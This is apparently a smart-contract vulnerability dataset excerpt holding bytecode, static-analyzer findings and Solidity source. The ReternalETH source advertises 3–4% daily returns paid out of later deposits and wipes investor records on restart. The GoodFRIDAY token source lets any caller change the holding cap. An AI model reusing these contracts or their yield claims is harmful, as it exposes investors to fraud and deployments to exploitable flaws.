fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd3565b610c5283826112e290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f4d4943000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e7d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610eca57600080fd5b610f1b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fae826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110f082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112f057fe5b818303905092915050565b6000818301905082811015151561130e57fe5b809050929150505600a165627a7a7230582055a411c309e3bdf2eaa1a9df1eea901badf512168c34f9b7e5ba5709b09cab1d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,140 |
0x29638d9c4ee1cf25397de06a1c849721a692d143
|
pragma solidity ^0.4.24;
/**
*
* ██████╗ ███████╗████████╗███████╗██████╗ ███╗ ██╗ █████╗ ██╗
* ██╔══██╗██╔════╝╚══██╔══╝██╔════╝██╔══██╗████╗ ██║██╔══██╗██║
* ██████╔╝█████╗ ██║ █████╗ ██████╔╝██╔██╗ ██║███████║██║
* ██╔══██╗██╔══╝ ██║ ██╔══╝ ██╔══██╗██║╚██╗██║██╔══██║██║
* ██║ ██║███████╗ ██║ ███████╗██║ ██║██║ ╚████║██║ ██║███████╗
* ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
*
* Contacts:
*
* -- t.me/Reternal
* -- https://www.reternal.net
*
* - GAIN PER 24 HOURS:
*
* -- Individual balance < 1 Ether: 3.15%
* -- Individual balance >= 1 Ether: 3.25%
* -- Individual balance >= 4 Ether: 3.45%
* -- Individual balance >= 12 Ether: 3.65%
* -- Individual balance >= 50 Ether: 3.85%
* -- Individual balance >= 200 Ether: 4.15%
*
* -- Contract balance < 500 Ether: 0%
* -- Contract balance >= 500 Ether: 0.10%
* -- Contract balance >= 1500 Ether: 0.20%
* -- Contract balance >= 2500 Ether: 0.30%
* -- Contract balance >= 7000 Ether: 0.45%
* -- Contract balance >= 15000 Ether: 0.65%
*
* - Minimal contribution 0.01 eth
* - Contribution allocation schemes:
* -- 95% payments
* -- 5% Marketing + Operating Expenses
*
* - How to use:
* 1. Send from your personal ETH wallet to the smart-contract address any amount more than or equal to 0.01 ETH
* 2. Add your refferer's wallet to a HEX data in your transaction to
* get a bonus amount back to your wallet only for the FIRST deposit
* IMPORTANT: if you want to support Reternal project, you can leave your HEX data field empty,
* if you have no referrer and do not want to support Reternal, you can type 'noreferrer'
* if there is no referrer, you will not get any bonuses
* 3. Use etherscan.io to verify your transaction
* 4. Claim your dividents by sending 0 ether transaction (available anytime)
* 5. You can reinvest anytime you want
*
* RECOMMENDED GAS LIMIT: 200000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
*
* The smart-contract has a "restart" function, more info at www.reternal.net
*
* If you want to check your dividents, you can use etherscan.io site, following the "Internal Txns" tab of your wallet
* WARNING: do not use exchanges' wallets - you will loose your funds. Only use your personal wallet for transactions
*
*/
contract ReternalETH {
// Investor's data storage
mapping (address => Investor) public investors;
address[] public addresses;
struct Investor
{
uint id;
uint deposit;
uint depositCount;
uint block;
address referrer;
}
uint constant public MINIMUM_INVEST = 10000000000000000 wei;
address defaultReferrer = 0x25EDFd665C2898c2898E499Abd8428BaC616a0ED;
uint public round;
uint public totalDepositAmount;
bool public pause;
uint public restartBlock;
bool ref_flag;
// Investors' dividents increase goals due to a bank growth
uint bank1 = 5e20; // 500 eth
uint bank2 = 15e20; // 1500 eth
uint bank3 = 25e20; // 2500 eth
uint bank4 = 7e21; // 7000 eth
uint bank5 = 15e20; // 15000 eth
// Investors' dividents increase due to individual deposit amount
uint dep1 = 1e18; // 1 ETH
uint dep2 = 4e18; // 4 ETH
uint dep3 = 12e18; // 12 ETH
uint dep4 = 5e19; // 50 ETH
uint dep5 = 2e20; // 200 ETH
event NewInvestor(address indexed investor, uint deposit, address referrer);
event PayOffDividends(address indexed investor, uint value);
event refPayout(address indexed investor, uint value, address referrer);
event NewDeposit(address indexed investor, uint value);
event NextRoundStarted(uint round, uint block, address addr, uint value);
constructor() public {
addresses.length = 1;
round = 1;
pause = false;
}
function restart() private {
address addr;
for (uint i = addresses.length - 1; i > 0; i--) {
addr = addresses[i];
addresses.length -= 1;
delete investors[addr];
}
emit NextRoundStarted(round, block.number, msg.sender, msg.value);
pause = false;
round += 1;
totalDepositAmount = 0;
createDeposit();
}
function getRaisedPercents(address addr) internal view returns(uint){
// Individual deposit percentage sums up with 'Reternal total fund' percentage
uint percent = getIndividualPercent() + getBankPercent();
uint256 amount = investors[addr].deposit * percent / 100*(block.number-investors[addr].block)/6000;
return(amount / 100);
}
function payDividends() private{
require(investors[msg.sender].id > 0, "Investor not found.");
// Investor's total raised amount
uint amount = getRaisedPercents(msg.sender);
if (address(this).balance < amount) {
pause = true;
restartBlock = block.number + 6000;
return;
}
// Service fee deduction
uint FeeToWithdraw = amount * 5 / 100;
uint payment = amount - FeeToWithdraw;
address(0xD9bE11E7412584368546b1CaE64b6C384AE85ebB).transfer(FeeToWithdraw);
msg.sender.transfer(payment);
emit PayOffDividends(msg.sender, amount);
}
function createDeposit() private{
Investor storage user = investors[msg.sender];
if (user.id == 0) {
// Check for malicious smart-contract
msg.sender.transfer(0 wei);
user.id = addresses.push(msg.sender);
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
// Check for referrer's registration. Check for self referring
if (investors[referrer].id > 0 && referrer != msg.sender) {
user.referrer = referrer;
// Cashback only for the first deposit
if (user.depositCount == 0) { // cashback only for the first deposit
uint cashback = msg.value / 100;
if (msg.sender.send(cashback)) {
emit refPayout(msg.sender, cashback, referrer);
}
}
}
} else {
// If data is empty:
user.referrer = defaultReferrer;
}
emit NewInvestor(msg.sender, msg.value, referrer);
} else {
// Dividents payment for an investor
payDividends();
}
// 2% from a referral deposit transfer to a referrer
uint payReferrer = msg.value * 2 / 100; // 2% from referral deposit to referrer
//
if (user.referrer == defaultReferrer) {
user.referrer.transfer(payReferrer);
} else {
investors[referrer].deposit += payReferrer;
}
user.depositCount++;
user.deposit += msg.value;
user.block = block.number;
totalDepositAmount += msg.value;
emit NewDeposit(msg.sender, msg.value);
}
function() external payable {
if(pause) {
if (restartBlock <= block.number) { restart(); }
require(!pause, "Eternal is restarting, wait for the block in restartBlock");
} else {
if (msg.value == 0) {
payDividends();
return;
}
require(msg.value >= MINIMUM_INVEST, "Too small amount, minimum 0.01 ether");
createDeposit();
}
}
function getBankPercent() public view returns(uint){
uint contractBalance = address(this).balance;
uint totalBank1 = bank1;
uint totalBank2 = bank2;
uint totalBank3 = bank3;
uint totalBank4 = bank4;
uint totalBank5 = bank5;
if(contractBalance < totalBank1){
return(0); // If bank lower than 500, whole procent doesnt add
}
if(contractBalance >= totalBank1 && contractBalance < totalBank2){
return(10); // If bank amount more than or equal to 500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank2 && contractBalance < totalBank3){
return(20); // If bank amount more than or equal to 1500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank3 && contractBalance < totalBank4){
return(30); // If bank amount more than or equal to 2500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank4 && contractBalance < totalBank5){
return(45); // If bank amount more than or equal to 7000 ETH, whole procent add 0.15%
}
if(contractBalance >= totalBank5){
return(65); // If bank amount more than or equal to 15000 ETH, whole procent add 0.20%
}
}
function getIndividualPercent() public view returns(uint){
uint userBalance = investors[msg.sender].deposit;
uint totalDeposit1 = dep1;
uint totalDeposit2 = dep2;
uint totalDeposit3 = dep3;
uint totalDeposit4 = dep4;
uint totalDeposit5 = dep5;
if(userBalance < totalDeposit1){
return(315); // 3.15% by default, investor deposit lower than 1 ETH
}
if(userBalance >= totalDeposit1 && userBalance < totalDeposit2){
return(325); // 3.25% Your Deposit more than or equal to 1 ETH
}
if(userBalance >= totalDeposit2 && userBalance < totalDeposit3){
return(345); // 3.45% Your Deposit more than or equal to 4 ETH
}
if(userBalance >= totalDeposit3 && userBalance < totalDeposit4){
return(360); // 3.60% Your Deposit more than or equal to 12 ETH
}
if(userBalance >= totalDeposit4 && userBalance < totalDeposit5){
return(385); // 3.85% Your Deposit more than or equal to 50 ETH
}
if(userBalance >= totalDeposit5){
return(415); // 4.15% Your Deposit more than or equal to 200 ETH
}
}
function getInvestorCount() public view returns (uint) {
return addresses.length - 1;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
|
0x6080604052600436106100a35763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663146ca53181146102105780633d4cfa6b14610237578063466a34431461024c5780636f7bc9be146102615780637d19ba23146102b65780638456cb59146102cb578063960524e3146102f4578063c5408d5014610309578063d77d00121461031e578063edf26d9b14610333575b60055460ff161561015c5760065443106100bf576100bf610367565b60055460ff161561015757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527f457465726e616c2069732072657374617274696e672c207761697420666f722060448201527f74686520626c6f636b20696e2072657374617274426c6f636b00000000000000606482015290519081900360840190fd5b61020e565b34151561016b5761015761047a565b662386f26fc1000034101561020657604080517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f546f6f20736d616c6c20616d6f756e742c206d696e696d756d20302e3031206560448201527f7468657200000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b61020e6105e3565b005b34801561021c57600080fd5b50610225610906565b60408051918252519081900360200190f35b34801561024357600080fd5b5061022561090c565b34801561025857600080fd5b50610225610917565b34801561026d57600080fd5b50610282600160a060020a03600435166109d9565b604080519586526020860194909452848401929092526060840152600160a060020a03166080830152519081900360a00190f35b3480156102c257600080fd5b50610225610a11565b3480156102d757600080fd5b506102e0610a17565b604080519115158252519081900360200190f35b34801561030057600080fd5b50610225610a20565b34801561031557600080fd5b50610225610a2b565b34801561032a57600080fd5b50610225610a31565b34801561033f57600080fd5b5061034b600435610ae1565b60408051600160a060020a039092168252519081900360200190f35b600154600090600019015b600081111561041057600180548290811061038957fe5b60009182526020909120015460018054600160a060020a039092169350600019909101906103b79082610b6c565b50600160a060020a038216600090815260208190526040812081815560018101829055600281018290556003810191909155600401805473ffffffffffffffffffffffffffffffffffffffff1916905560001901610372565b600354604080519182524360208301523382820152346060830152517f66a2263e9309e859994900b6ba9f464030063253fab6b5ddc8db9538c37e7b6b9181900360800190a16005805460ff1916905560038054600101905560006004556104766105e3565b5050565b336000908152602081905260408120548190819081106104fb57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f496e766573746f72206e6f7420666f756e642e00000000000000000000000000604482015290519081900360640190fd5b61050433610b09565b92503031831115610529576005805460ff1916600117905561177043016006556105de565b505060405160646005830204908183039073d9be11e7412584368546b1cae64b6c384ae85ebb906108fc8415029084906000818181858888f19350505050158015610578573d6000803e3d6000fd5b50604051339082156108fc029083906000818181858888f193505050501580156105a6573d6000803e3d6000fd5b5060408051848152905133917f38b3cd63b7181dfb8515c2b900548258df82fee21db5246ce3818c0efdf51685919081900360200190a25b505050565b33600090815260208190526040812080549091908190819015156108115760405133906108fc9060009081818181818888f1935050505015801561062b573d6000803e3d6000fd5b50600180548082018083556000929092527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19163317905584553615610798576106bd6000368080601f01602080910402602001604051908101604052809392919081815260200183838082843750610b65945050505050565b600160a060020a0381166000908152602081905260408120549194501080156106ef5750600160a060020a0383163314155b156107935760048401805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038516179055600284015415156107935760405160643404925033906108fc8415029084906000818181858888f19350505050156107935760408051838152600160a060020a0385166020820152815133927f9aa90874178e269a71a0dffef5881c345119f7aecdaa0a0f214bca583472da31928290030190a25b6107ca565b60025460048501805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b60408051348152600160a060020a0385166020820152815133927f457ba32ceae43c5149268b8fdc90d253ae023e63a9be85f24b8c994f2c46057f928290030190a2610819565b61081961047a565b6064600234026002546004870154929091049250600160a060020a0391821691161415610882576004840154604051600160a060020a039091169082156108fc029083906000818181858888f1935050505015801561087c573d6000803e3d6000fd5b506108a4565b600160a060020a03831660009081526020819052604090206001018054820190555b600284018054600190810190915584018054349081019091554360038601556004805482019055604080519182525133917f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364919081900360200190a250505050565b60035481565b662386f26fc1000081565b33600090815260208190526040812060010154600d54600e54600f546010546011548486101561094b5761013b96506109d0565b84861015801561095a57508386105b156109695761014596506109d0565b83861015801561097857508286105b156109875761015996506109d0565b82861015801561099657508186105b156109a55761016896506109d0565b8186101580156109b457508086105b156109c35761018196506109d0565b8086106109d05761019f96505b50505050505090565b6000602081905290815260409020805460018201546002830154600384015460049094015492939192909190600160a060020a031685565b60065481565b60055460ff1681565b600154600019015b90565b60045481565b600854600954600a54600b54600c5460009430319490939092909184861015610a5d57600096506109d0565b848610158015610a6c57508386105b15610a7a57600a96506109d0565b838610158015610a8957508286105b15610a9757601496506109d0565b828610158015610aa657508186105b15610ab457601e96506109d0565b818610158015610ac357508086105b15610ad157602d96506109d0565b8086106109d057604196506109d0565b6001805482908110610aef57fe5b600091825260209091200154600160a060020a0316905081565b6000806000610b16610a31565b610b1e610917565b600160a060020a0386166000908152602081905260409020600381015460019091015492909101935061177091606490850204439190910302606491900404949350505050565b6014015190565b8154818355818111156105de576000838152602090206105de918101908301610a2891905b80821115610ba55760008155600101610b91565b50905600a165627a7a7230582047e8c9c608e4ded411487fef4f2f8518cca40f224993bb6d7cc277f82f2ceb2d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,141 |
0xBc44FD246e6C83a0153Cb77994953074267506a2
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GoodFRIDAY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e14 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"GoodFRIDAY";
string private constant _symbol = unicode"GoodFRIDAY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 15;
uint256 private _feeRate = 16;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 3;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 15;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 15;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 500000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (180 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
}
|
